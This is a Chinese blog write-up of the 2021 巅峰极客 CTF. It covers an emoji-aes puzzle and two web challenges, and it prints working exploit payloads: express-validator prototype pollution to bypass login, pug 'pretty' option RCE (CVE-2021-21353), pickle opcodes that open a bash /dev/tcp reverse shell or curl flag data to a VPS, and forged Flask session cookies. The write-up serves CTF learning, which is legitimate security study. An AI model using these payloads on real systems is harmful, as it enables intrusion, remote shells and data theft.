CTF | 2021 巅峰极客网络安全技能挑战赛 WriteUp


引言

2021 巅峰极客网络安全技能挑战赛

比赛时间:2021年7月31日 10:00 - 18:00

https://www.ichunqiu.com/2021dfjk

上周末摸鱼,佛系打了下这个巅峰极客网络安全技能挑战赛,可是题目好难啊啊啊啊啊。

喵呜呜,题目环境当晚10点就关了就离谱,这里还是赛后复现为主,随便写写好了。

Misc

签到

YY给我发了一串表情,说了GAME,这是什么意思?

附件下载 提取码(GAME)备用下载

🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🥋🐘🍴🚰😍☀🌿😇😍😡🏎👉🛩🤣🖐💧☺🌉🏎😇😆🎈💧⏩☺🔄🌪⌨🐅🎅🙃🍌🙃🔪☂🏹🕹☃🌿🌉💵🐎🐍😇🍵😍🐅🎈🥋🚰✅🎈🎈

emoji-aes

直接用咱自己搭的了: https://emoji-aes.miaotony.xyz/

key: GAME

flag{10ve_4nd_Peace}

Web

ezjs

题目内容:简单的个人空间系统。

一个简简单单的登录界面

发现只要用户名、密码超过5位数字就能进入了。

这个图片是以 base64 编码的,可以任意读取文件。

通过报错可以得知源码在 /app/app.js

路由在 /app/routes/index.js

http://eci-2ze94lqyt2mqgae0klll.cloudeci1.ichunqiu.com:8888/admin?newimg=/app/app.js&diy=miaotony

<html><head><title>我的空间</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/></head><body><form action="" method="get"> <div>更改图片<select name="newimg"><option value="./images/1.png">纸飞机</option><option value="./images/2.png"></option><option value="./images/3.png">小火车</option></select></div><div>个性签名<input type="text" name="diy" value="尊贵的admin可以在这更改个性签名"/></div><input type="submit"/></form><div><img src='data:image/png;base64,dmFyIGNyZWF0ZUVycm9yID0gcmVxdWlyZSgnaHR0cC1lcnJvcnMnKTsKdmFyIGV4cHJlc3MgPSByZXF1aXJlKCdleHByZXNzJyk7CnZhciBwYXRoID0gcmVxdWlyZSgncGF0aCcpOwp2YXIgY29va2llUGFyc2VyID0gcmVxdWlyZSgnY29va2llLXBhcnNlcicpOwp2YXIgbG9nZ2VyID0gcmVxdWlyZSgnbW9yZ2FuJyk7CnZhciBjcnlwdG8gPSByZXF1aXJlKCdjcnlwdG8nKTsKdmFyIHNlc3Npb24gPSByZXF1aXJlKCdleHByZXNzLXNlc3Npb24nKTsKdmFyIHNlc3Npb25TdG9yZSA9IHJlcXVpcmUoJ3Nlc3Npb24tZmlsZS1zdG9yZScpKHNlc3Npb24pOwp2YXIga2V5ID0gJ3Nlc3Npb24nOwoKCnZhciBpbmRleFJvdXRlciA9IHJlcXVpcmUoJy4vcm91dGVzL2luZGV4Jyk7CnZhciBhcHAgPSBleHByZXNzKCk7CnZhciBzZWNyZXRzID0gY3J5cHRvLnJhbmRvbUJ5dGVzKDMyKS50b1N0cmluZygnaGV4Jyk7CmFwcC51c2Uoc2Vzc2lvbih7CiAgbmFtZToga2V5LAogIHNlY3JldDogc2VjcmV0cywKICBzdG9yZTogbmV3IHNlc3Npb25TdG9yZSgpLAogIHNhdmVVbmluaXRpYWxpemVkOiBmYWxzZSwKICByZXNhdmU6IGZhbHNlLAogIGNvb2tpZTogewogICAgbWF4QWdlOiAxMDAgKiA2MCAqIDYwMAogIH0KCn0pKTsKCi8vIHZpZXcgZW5naW5lIHNldHVwCmFwcC5zZXQoJ3ZpZXdzJywgcGF0aC5qb2luKF9fZGlybmFtZSwgJ3ZpZXdzJykpOwphcHAuc2V0KCd2aWV3IGVuZ2luZScsICdwdWcnKTsKCmFwcC51c2UobG9nZ2VyKCdkZXYnKSk7CmFwcC51c2UoZXhwcmVzcy51cmxlbmNvZGVkKHsgZXh0ZW5kZWQ6IGZhbHNlIH0pKTsKYXBwLnVzZShjb29raWVQYXJzZXIoKSk7CmFwcC51c2UoZXhwcmVzcy5zdGF0aWMocGF0aC5qb2luKF9fZGlybmFtZSwgJ3B1YmxpYycpKSk7CgphcHAudXNlKCcvJywgaW5kZXhSb3V0ZXIpOwoKCi8vIGNhdGNoIDQwNCBhbmQgZm9yd2FyZCB0byBlcnJvciBoYW5kbGVyCmFwcC51c2UoZnVuY3Rpb24ocmVxLCByZXMsIG5leHQpIHsKICBuZXh0KGNyZWF0ZUVycm9yKDQwNCkpOwp9KTsKCi8vIGVycm9yIGhhbmRsZXIKYXBwLnVzZShmdW5jdGlvbihlcnIsIHJlcSwgcmVzLCBuZXh0KSB7CiAgLy8gc2V0IGxvY2Fscywgb25seSBwcm92aWRpbmcgZXJyb3IgaW4gZGV2ZWxvcG1lbnQKICByZXMubG9jYWxzLm1lc3NhZ2UgPSBlcnIubWVzc2FnZTsKICByZXMubG9jYWxzLmVycm9yID0gcmVxLmFwcC5nZXQoJ2VudicpID09PSAnZGV2ZWxvcG1lbnQnID8gZXJyIDoge307CgogIC8vIHJlbmRlciB0aGUgZXJyb3IgcGFnZQogIHJlcy5zdGF0dXMoZXJyLnN0YXR1cyB8fCA1MDApOwogIHJlcy5yZW5kZXIoJ2Vycm9yJyk7Cn0pOwoKbW9kdWxlLmV4cG9ydHMgPSBhcHA7Cg=='></div><p>哈喽</p><div>miaotony</div><div>个性签名:<div>miaotony</div><div>---miaotony</div></div></body></html>

依次得到源码 app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var crypto = require('crypto');
var session = require('express-session');
var sessionStore = require('session-file-store')(session);
var key = 'session';


var indexRouter = require('./routes/index');
var app = express();
var secrets = crypto.randomBytes(32).toString('hex');
app.use(session({
  name: key,
  secret: secrets,
  store: new sessionStore(),
  saveUninitialized: false,
  resave: false,
  cookie: {
    maxAge: 100 * 60 * 600
  }

}));

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(logger('dev'));
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);


// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

routes/index.js

var express = require('express');
var router = express.Router();
var {body, validationResult} = require('express-validator');
var crypto = require('crypto');
var fs = require('fs');
var validator = [
  body('*').trim(),
  body('username').if(body('username').exists()).isLength({min: 5})
  .withMessage("username is too short"),
  body('password').if(body('password').exists()).isLength({min: 5})
  .withMessage("password is too short"),(req, res, next) => {
		const errors = validationResult(req)
		if (!errors.isEmpty()) {
      return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg});
		}
		next()
	}
];

router.use(validator);


router.get('/', function(req, res, next) {
  return res.render('index', {title: "登录界面"});
});


router.post('/login', function(req, res, next) {
  let username = req.body.username;
  let password = req.body.password;
  if (username !== undefined && password !== undefined) {

    if (username == "admin" && password === crypto.randomBytes(32).toString('hex')) {
      req.session.username = "admin";
    } else if (username != "admin"){
      req.session.username = username;
      

    } else {
      return res.render('msg',{title: 'error', msg: 'admin password error'});
    }
    return res.redirect('/verify');
  }

  return res.render('msg',{title: 'error',msg: 'plz input your username and password'});
});



router.get('/verify', function(req, res, next) {
  console.log(req.session.username);
  if (req.session.username === undefined) {
    return res.render('msg', {title: 'error', msg: 'login first plz'});
  }
  if (req.session.username === "admin") {
    req.session.isadmin = "admin";
  } else {
    req.session.isadmin = "notadmin";
  }
  return res.render('verify', {title: 'success', msg: 'verify success'});
});





router.get('/admin', function(req, res, next) {
  //req.session.debug = true;

  if (req.session.username !== undefined && req.session.isadmin !== undefined) {

    if (req.query.newimg !== undefined) req.session.img = req.query.newimg;

    var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");
    var base64data = Buffer.from(imgdata, 'binary').toString('base64');

    var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑😅v0.0.0(尚处于开发版"};


    if (req.session.isadmin !== "notadmin") {

      if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
      if (req.query.diy !== undefined) req.session.diy = req.query.diy;
      info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
      return res.render('admin', info);
    } else {
      return res.render('admin', info);
    }
  } else {
    return res.render('msg', {title: 'error', msg: 'plz login first'});
  }
});

module.exports = router;

package.json

{
  "name": "nodejs",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "node ./bin/www"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "debug": "~2.6.9",
    "express": "~4.16.1",
    "express-session": "^1.17.2",
    "express-validator": "^6.6.0",
    "http-errors": "~1.6.3",
    "lodash": "^4.17.15",
    "morgan": "~1.9.1",
    "pug": "^3.0.0",
    "pug-code-gen": "^3.0.0",
    "session-file-store": "^1.5.0"
  }
}

package-lock.json 太长了就不放上来了。

可以看到登录验证上用了 express-validator,模板渲染用的是 pug

nodejs 一般就找原型链污染之类的吧,分析路由源码,info.pretty = req.query.p; 这里有点可疑。

为了进到这里,需要 session 里的 debugisadminusername 均不是 undefined,且 isadmin !== "notadmin"debug !== false。这就需要在登录路由 POST login 进行鉴权,如果能把 isadmindebug 设置为空的话就能绕过进来了。所以还是得 原型链污染

再看 validator 这里,body('*').trim()express-validator 确实存在原型链污染漏洞。

参考

XNUCA2020Qualifier oooooooldjs writeup

express-validator 6.6.0 原型链污染分析

当传入的键中存在. ,则会在字符两边加上[" "],并且最终返回的是一个字符串形式的结果。

当我们传入:

{"\"].__proto__[\"test":"123 "}

这里的键为"].__proto__["test,由于字符里面存在.,所以在segments.reduce函数处理时会对其左右加双引号和中括号,最终变成:[""].__proto__["test"]

而这个被污染的原型链的 test 值为空,是因为取值时,使用的是 lodash.get 方法从 req['body'] 中取被处理后的键值,处理后的键是不存在的,所以取出来的值就为 undefined。再经过.toString()的处理变成了''空字符串。

另外这篇文章中还提出了利用 lodash.get 方法来污染 value 的方法,即

{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222}

最后会把 Object.__proto__.test 的值污染为 testvalue

这道题里环境也正好是 express-validator 6.6.0,只不过不支持 JSON 来传参,只能用 urlencode 了。

于是构造 payload:

"].__proto__["isadmin=aaa

"].__proto__["debug=bbb

POST /login HTTP/1.1
...

username=miaomiao&password=miaomiao&"].__proto__["isadmin=aaa+&"].__proto__["debug=bbb+

这样就能成功绕过登录成为 admin 了。

接下来带上这个 cookie 打 pug getshell。题目里用到的 pug 版本是 3.0.0

参考

Remote code execution via the pretty option. CVE-2021-21353

Code injection vulnerability in visitMixin and visitMixinBlock through “pretty” option

构造如下 payload 即可 RCE。

http://xxxxx/admin?p=');process.mainModule.constructor._load('child_process').exec('whoami');_=('

注意不要访问 /verify 路由,不然又把 session.isadmin 赋值了。

可惜发现这题 shell 弹不回来,只能 curl 外带了。

另外由于输出换行会截断,这里给个 tip,可以通过 form-data 文件上传 再配合 base64 编码的方式来完整传输信息。

curl -F "file=`ls -al /|base64`" http://VPS
# 或者直接 VPS 上起个 web 服务,上传文件
# curl -F "file=@文件位置" http://VPS
# ls -al /
total 84
drwxr-xr-x   1 root root 4096 Jul 31 10:28 .
drwxr-xr-x   1 root root 4096 Jul 31 10:28 ..
drwxrwxrwx   1 root root 4096 Jul 30 17:20 app
drwxr-xr-x   2 root root 4096 Jul 23 13:50 bin
drwxr-xr-x   2 root root 4096 Apr 24  2018 boot
drwxr-xr-x   5 root root  380 Jul 31 10:28 dev
drwxr-xr-x   1 root root 4096 Jul 30 17:20 etc
-rw-r--r--   1 root root   62 Jul 30 17:21 hint
drwxr-xr-x   1 root root 4096 Jul 30 17:20 home
drwxr-xr-x   1 root root 4096 Jul 30 17:20 lib
drwxr-xr-x   2 root root 4096 Jul 23 13:50 lib64
drwxr-xr-x   2 root root 4096 Jul 23 13:49 media
drwxr-xr-x   2 root root 4096 Jul 23 13:49 mnt
drwxr-xr-x   2 root root 4096 Jul 23 13:49 opt
dr-xr-xr-x 108 root root    0 Jul 31 10:28 proc
drwx------   1 root root 4096 Jul 31 10:28 root
drwxr-xr-x   5 root root 4096 Jul 23 13:50 run
drwxr-xr-x   2 root root 4096 Jul 23 13:50 sbin
drwxr-xr-x   2 root root 4096 Jul 23 13:49 srv
dr-xr-xr-x  12 root root    0 Jul 31 10:45 sys
drwxrwxrwt   1 root root 4096 Jul 30 17:20 tmp
drwxr-xr-x   1 root root 4096 Jul 23 13:49 usr
drwxr-xr-x   1 root root 4096 Jul 23 13:50 var

hint

当前用户是 ctf,这个 tac 配了 suid。

tac /root/flag.txt

flag

其实本来是想能不能通过伪造 session 来成管理员的,后来发现没有上传点,么得办法了。

具体可以参考 session-file-store库的session伪造

BTW, 原来他的模板文件在 views 目录下啊,咱一直猜着 templates template 结果一直没读到……

app

/app/views/admin.pug

html
  head
    title= title 
    meta(http-equiv="Content-Type", content="text/html;charset=UTF-8")
  body
  
    mixin hello(text)
      p= text
      div #{msg}
    
    mixin printdiy()
      div 个性签名:
        div #{diy}
        div ---#{msg}
    
    form(action="", method="get")  
      div 更改图片
        select(name="newimg")
          option(value="./images/1.png") 纸飞机
          option(value="./images/2.png") 
          option(value="./images/3.png") 小火车
      div 个性签名
        input(type="text" name="diy" value="尊贵的admin可以在这更改个性签名")
      input(type="submit")


    div <img src='#{png}'>
    +hello("哈喽")
    +printdiy()

顺便放个 ejs 的 RCE:

Express+lodash+ejs: 从原型链污染到RCE

a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

opcode

题目内容:听说pickle是一门有趣的栈语言,你会手写opcode吗?

任意文件读源码

imagePath=app.py&password=admin&username=admin 
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
    if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
        return "not admin"
    try:
        data = base64.b64decode(session['data'])
        if "R" in data.decode():
            return "nonono"
        pickle.loads(data)
    except Exception as e:
        print(e)
    return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    imagePath = request.form.get('imagePath')
    session['username'] = username + password
    session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
    try:
        f = open(imagePath,'rb').read()
    except Exception as e:
        f = open('static/image/error.png','rb').read()
    imageBase64 = base64.b64encode(f)
    return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
    return render_template("index.html")
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8888')

参考

pickle反序列化的利用技巧总结

Python反序列化漏洞与沙箱逃逸

🐍Security Issues in Python Pickle 或者 https://hackmd.io/53c7hn_1SqOF7WoUMBrkiA?view

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

2020 XCTF高校战“疫”网络安全分享赛 webtmp

2021 NewsCTF 新春赛 beautifulgirlfriend

又是手搓 opcode……

实际上 INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象,把 R 换成其他的就好。

然而这题其实他并没有调用外面的这个 loads,即没有调用 RestrictedUnpickler,只要不含有 R 就行了……

# 反弹 shell
b"(cos\nsystem\nS\'bash -i >& /dev/tcp/ip/port 0>&1\'\no."

# 或者直接 
b"(cos\nsystem\nS\'curl http://VPS:PORT/?flag=`/app/readflag`\'\no."

接下来伪造 session,直接用 Flask Session Cookie Decoder/Encoder 这个脚本好了。

解码:

$ python3 flask_session_cookie_manager3.py decode -c 'eyJkYXRhIjp7IiBiIjoiVm0xb2JHSkhlSFpaVjFKMFlWYzBTMk5FUVV0TVp6MDkifSwidXNlcm5hbWUiOiJhZG1pbmFkbWluIn0.YQ_4Tg.rctkQrLvhZdSHjtRdjE21qaA1O4' -s 'y0u-wi11_neuer_kn0vv-!@#se%32'
{'data': b'VmhlbGxvYWRtaW4KcDAKLg==', 'username': 'adminadmin'}

编码:把上面的 opcode base64 一下,然后放进 data 里。

$ python3 flask_session_cookie_manager3.py encode -s 'y0u-wi11_neuer_kn0vv-!@#se%32' -t '{"data": "KGNvcwpzeXN0ZW0KUydiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMScKby4=", "username": "adminadmin"}'
eyJkYXRhIjoiS0dOdmN3cHplWE4wWlcwS1V5ZGlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMMmx3TDNCdmNuUWdNRDRtTVNjS2J5ND0iLCJ1c2VybmFtZSI6ImFkbWluYWRtaW4ifQ.YRAgRQ.KBVqxrhR0f5FCTCzy1sLo9oaAfI

注意改一下 ip & port。然后把 cookie 改了访问 /admin 就能触发了。


如果按照题目原本的意思,只能用 builtins 里的东西,还带有黑名单,过滤 R

可以参考 这篇 wp 里的思路,先用 pker 这个工具生成只带 builtins 但含有 R 的 payload。

先知社区:通过AST来构造Pickle opcode

getattr = GLOBAL('__builtins__', 'getattr')
dict = GLOBAL('__builtins__', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('__builtins__', 'globals')
__builtins__ = globals()
____builtins____ = dict_get(__builtins__, '____builtins____')
eval = getattr(____builtins____, 'eval')
eval('__import__("os").system("whoami")')
return


b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'

"""
cbuiltins
getattr
p0
0cbuiltins
dict
p1
0g0
(g1
S'get'
tRp2
0cbuiltins
globals
p3
0g3
(tRp4
0g2
(g4
S'__builtins__'
tRp5
0g0
(g5
S'eval'
tRp6
0g6
(S'__import__("os").system("whoami")'
tR.
"""

而后手搓一下,在调用的 callable 前添加 MARK 即 (,去掉 t 指令和调用 t 指令用到的 MARK.

也就是 [callable] [tuple] R ===> MARK [callable] [args...] o

文中构造的 payload 为

b'''cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0(g0\ng1\nS'get'\nop2\n0cbuiltins\nglobals\np3\n0(g3\nop4\n0(g2\ng4\nS'__builtins__'\nop5\n0(g0\ng5\nS'eval'\nop6\n0(g6\nS'__import__("os").system("whoami")'\no.'''

"""
cbuiltins
getattr
p0
0cbuiltins
dict
p1
0(g0
g1
S'get'
op2
0cbuiltins
globals
p3
0(g3
op4
0(g2
g4
S'__builtins__'
op5
0(g0
g5
S'eval'
op6
0(g6
S'__import__("os").system("whoami")'
o.
"""

编码

$ python3 flask_session_cookie_manager3.py encode -s 'y0u-wi11_neuer_kn0vv-!@#se%32' -t '{"data": "Y2J1aWx0aW5zCmdldGF0dHIKcDAKMGNidWlsdGlucwpkaWN0CnAxCjAoZzAKZzEKUydnZXQnCm9wMgowY2J1aWx0aW5zCmdsb2JhbHMKcDMKMChnMwpvcDQKMChnMgpnNApTJ19fYnVpbHRpbnNfXycKb3A1CjAoZzAKZzUKUydldmFsJwpvcDYKMChnNgpTJ19faW1wb3J0X18oIm9zIikuc3lzdGVtKCJ3aG9hbWkiKScKby4=", "username": "adminadmin"}'
.eJxdkEFPgzAAhf9Lzx5gaDJMPDSdA9qUZOpW4NbSDRhtaWTIqPG_y9jBxMvLu3zfS943kPzCwTPIV9jn7Opx9uSQlkpGW0_GCSk3kNAobSRTvYzUUI625Sz1kIFXdIZd4SAp3CvZT9IU2c4gHY606sZ_vl6scC1iOvsooag2dLRf5WZ375U1KbQf2A9PuTlYEb9ZYdJTNpVEBND_29nfdpTU2x4vfL7waXVnOfNHEWAv89ddokOXNO1QBsrJ6HAhCAc8CmvB2oa8z97p8QU8gKE_fhquj_MDXOrGLAF-fgETQV-m.YRAnmg.C8b2ylZD1EDOLC3JLOFLZP9VGms

然后把源码里的 pickle.loads(data) 改成 loads(data),本地试一试。

Pickle 常见 opcode,完整的可在$PYTHON/Lib/pickle.py查看

(via https://xz.aliyun.com/t/7012#toc-2)

name op params describe e.g.
REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R
OBJ o MARK [callable] [args…] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS’ls’\no
INST i MARK [args…] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S’ls’\nios\nsystem\n
MARK ( null 向栈顶push一个MARK
STOP . null 结束
POP 0 null 丢弃栈顶第一个元素
POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素
DUP 2 null 在栈顶赋值一次栈顶元素
FLOAT F F [float] push一个float F1.0
INT I I [int] push一个integer I1
NONE N null push一个None
STRING S S [string] push一个string S ‘x’
UNICODE V V [unicode] push一个unicode string V ‘x’
APPEND a [list] [obj] a 向列表append单个对象 ]I100\na
BUILD b [obj] [dict] b 添加实例属性(修改__dict__ cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL c c [module] [name] 调用Pickler的find_class,导入module.name并push到栈顶 cos\nsystem\n
DICT d MARK [[k] [v]…] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd
EMPTY_DICT } null push一个空dict
APPENDS e [list] MARK [obj…] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne
GET g g [index] 从memo获取元素 g0
LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl
EMPTY_LIST ] null push一个空list
PUT p p [index] 将栈顶元素放入memo p0
SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns
TUPLE t MARK [obj…] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt
EMPTY_TUPLE ) null push一个空tuple
SETITEMS u [dict] MARK [[k] [v]…] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu

小结

题目也太顶啦!

Misc 就俩题,另一题是个零解的内存镜像取证,提取出来一张微信收到的图片,然后 LSB 有个看上去像是 AES 的字符串,但找了半天没找到密钥在哪……

线上初赛才只有12支战队晋级,太难了,喵呜呜呜!

就这样吧……

(溜了溜了喵

-->

文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录